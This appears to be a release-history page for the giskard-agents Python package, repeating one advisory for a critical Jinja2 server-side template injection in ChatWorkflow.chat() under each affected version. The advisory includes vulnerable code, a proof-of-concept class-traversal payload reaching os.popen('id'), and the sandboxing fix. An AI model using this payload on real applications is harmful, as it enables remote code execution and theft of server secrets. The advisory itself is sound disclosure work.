Version	Released
`1.0.2` major	Aug 26, 2026
`1.0.2rc1` pre	Aug 18, 2026
`1.0.2b6` pre	Aug 06, 2026
`1.0.2b5` pre	Jul 13, 2026
`1.0.2b4` pre	Jun 09, 2026
`1.0.2b3` pre	May 20, 2026
`1.0.2b2` pre	Apr 29, 2026
`1.0.2b1` pre	Mar 26, 2026
`0.3.4` patch	Mar 25, 2026
`1.0.2a1` pre 1 CVE	Mar 17, 2026
`1.0.1a1` pre 1 CVE	Mar 12, 2026
`0.3.3` patch 1 CVE	Jan 20, 2026
`0.3.2` patch 1 CVE	Jan 19, 2026
`0.3.1` patch 1 CVE	Dec 19, 2025
`0.3.0` initial 1 CVE	Nov 04, 2025

1.0.2 major

Aug 26, 2026

1.0.2rc1 pre

Aug 18, 2026

1.0.2b6 pre

Aug 06, 2026

1.0.2b5 pre

Jul 13, 2026

1.0.2b4 pre

Jun 09, 2026

1.0.2b3 pre

May 20, 2026

1.0.2b2 pre

Apr 29, 2026

1.0.2b1 pre

Mar 26, 2026

0.3.4 patch

Mar 25, 2026

1.0.2a1 pre

1 CVE

CVE-2026-34172 PYSEC-2026-2487 GHSA-frv4-x25r-588m Jul 13, 2026

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Critical

Network Low Low None

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Affected versions


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          1.0.1a1


          1.0.2a1

Fixed in


          0.3.4


          1.0.2b1

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 17, 2026

1.0.1a1 pre

1 CVE

CVE-2026-34172 PYSEC-2026-2487 GHSA-frv4-x25r-588m Jul 13, 2026

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Critical

Network Low Low None

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Affected versions


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          1.0.1a1


          1.0.2a1

Fixed in


          0.3.4


          1.0.2b1

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 12, 2026

0.3.3 patch

1 CVE

CVE-2026-34172 PYSEC-2026-2487 GHSA-frv4-x25r-588m Jul 13, 2026

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Critical

Network Low Low None

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Affected versions


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          1.0.1a1


          1.0.2a1

Fixed in


          0.3.4


          1.0.2b1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 20, 2026

0.3.2 patch

1 CVE

CVE-2026-34172 PYSEC-2026-2487 GHSA-frv4-x25r-588m Jul 13, 2026

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Critical

Network Low Low None

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Affected versions


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          1.0.1a1


          1.0.2a1

Fixed in


          0.3.4


          1.0.2b1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 19, 2026

0.3.1 patch

1 CVE

CVE-2026-34172 PYSEC-2026-2487 GHSA-frv4-x25r-588m Jul 13, 2026

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Critical

Network Low Low None

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Affected versions


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          1.0.1a1


          1.0.2a1

Fixed in


          0.3.4


          1.0.2b1

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 19, 2025

0.3.0 initial

1 CVE

CVE-2026-34172 PYSEC-2026-2487 GHSA-frv4-x25r-588m Jul 13, 2026

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Critical

Network Low Low None

Summary

ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

Root Cause

libs/giskard-agents/src/giskard/agents/workflow.py line ~261:

def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
    if isinstance(message, str):
        message = MessageTemplate(role=role, content_template=message)

The string becomes content_template, which is parsed by from_string():

libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:

def render(self, **kwargs: Any) -> Message:
    template = _inline_env.from_string(self.content_template)
    rendered_content = template.render(**kwargs)

The Jinja2 Environment is not sandboxed:

libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:

_inline_env = Environment(
    autoescape=False,
    # Not SandboxedEnvironment
)

Proof of Concept

from jinja2 import Environment
env = Environment()  # Same as giskard's _inline_env

# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render())  # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}

A developer building a chatbot:

workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input)  # user_input parsed as Jinja2 template
result = await workflow.run()          # RCE if user_input contains {{ payload }}

Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().

Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.

Affected versions


          0.3.0


          0.3.1


          0.3.2


          0.3.3


          1.0.1a1


          1.0.2a1

Fixed in


          0.3.4


          1.0.2b1

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 04, 2025

giskard-agents

Activity

Details

Summary

Root Cause

Proof of Concept

Impact

Mitigation

Summary

Root Cause

Proof of Concept

Impact

Mitigation

Summary

Root Cause

Proof of Concept

Impact

Mitigation

Summary

Root Cause

Proof of Concept

Impact

Mitigation

Summary

Root Cause

Proof of Concept

Impact

Mitigation

Summary

Root Cause

Proof of Concept

Impact

Mitigation

Summary

Root Cause

Proof of Concept

Impact

Mitigation